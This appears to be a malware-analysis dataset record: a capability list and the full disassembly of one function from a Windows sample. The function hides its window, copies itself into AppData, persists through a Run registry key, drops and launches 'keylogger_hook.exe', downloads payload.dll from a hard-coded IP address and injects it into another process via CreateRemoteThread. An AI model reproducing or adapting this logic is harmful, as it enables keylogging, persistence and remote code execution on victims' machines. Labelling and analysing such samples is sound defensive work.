Function at 0x401040
Capabilities:
Copy file
Create process on windows
Create thread
Download and write a file
Download url
Enumerate processes
Extract resource via kernel32 functions
Get common file path
Hide graphical window
Inject dll
Inject thread
Persist via run registry key
Receive and write data from server to client
Receive data
Set file attributes
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_AllocConsole]
push 0
push 0x403190
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x104
lea eax, [ebp - 0x418]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push 2
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov ebx, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x23
push 0
call ebx
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea eax, [ebp - 0x20c]
push str._app_data.exe
push 0x104
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 0x23
push 0
call ebx
push str._app_data.exe
lea eax, [ebp - 0x418]
push 0x104
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x440]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0x208
lea eax, [ebp - 0x418]
push eax
push 1
push 0
push str.Persistence
push dword [ebp - 0x440]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x440]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xa
push 0x65
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, eax
test edi, edi
jne 0x40117a
push str.FindResource_Error_n
call fcn.00401010
add esp, 4
jmp 0x40125b
push edi
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov esi, eax
test esi, esi
jne 0x40119b
push str.LoadResource_Error_n
call fcn.00401010
add esp, 4
jmp 0x40125b
push edi
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push esi
mov dword [ebp - 0x440], eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
test edi, edi
jne 0x4011c9
push str.LockResource_Error_n
call fcn.00401010
add esp, 4
jmp 0x40125b
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.keylogger_hook.exe
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0
push 0
push 2
push 0
push 1
push 2
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401227
push str.CreateFile_Error_n
call fcn.00401010
add esp, 4
jmp 0x40125b
push 0
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x440]
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call ebx
push 0xa
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push 0x403228
push str.http:__210.125.101.75_payload.dll
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0x228
lea eax, [ebp - 0x438]
mov dword [ebp - 0x440], 0xffffffff
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x43c], 0x22c
push 0
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x43c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x401307
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov ebx, dword [sym.imp.KERNEL32.DLL_Process32NextW]
nop word [eax + eax]
lea eax, [ebp - 0x418]
push eax
push str.x32dbg.exe
call edi
add esp, 8
test eax, eax
je 0x4012f5
lea eax, [ebp - 0x43c]
push eax
push esi
call ebx
test eax, eax
jne 0x4012d0
jmp 0x401301
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x440], eax
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call ebx
push dword [ebp - 0x440]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push 4
push 0x3000
push 0x1e
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
push 0
push 0x1e
push str.C:payload.dll
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push str.LoadLibraryW
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
push eax
call ebx
push 0x8000
push 0x1e
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
push edi
call ebx
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401394
mov esp, ebp
pop ebp
ret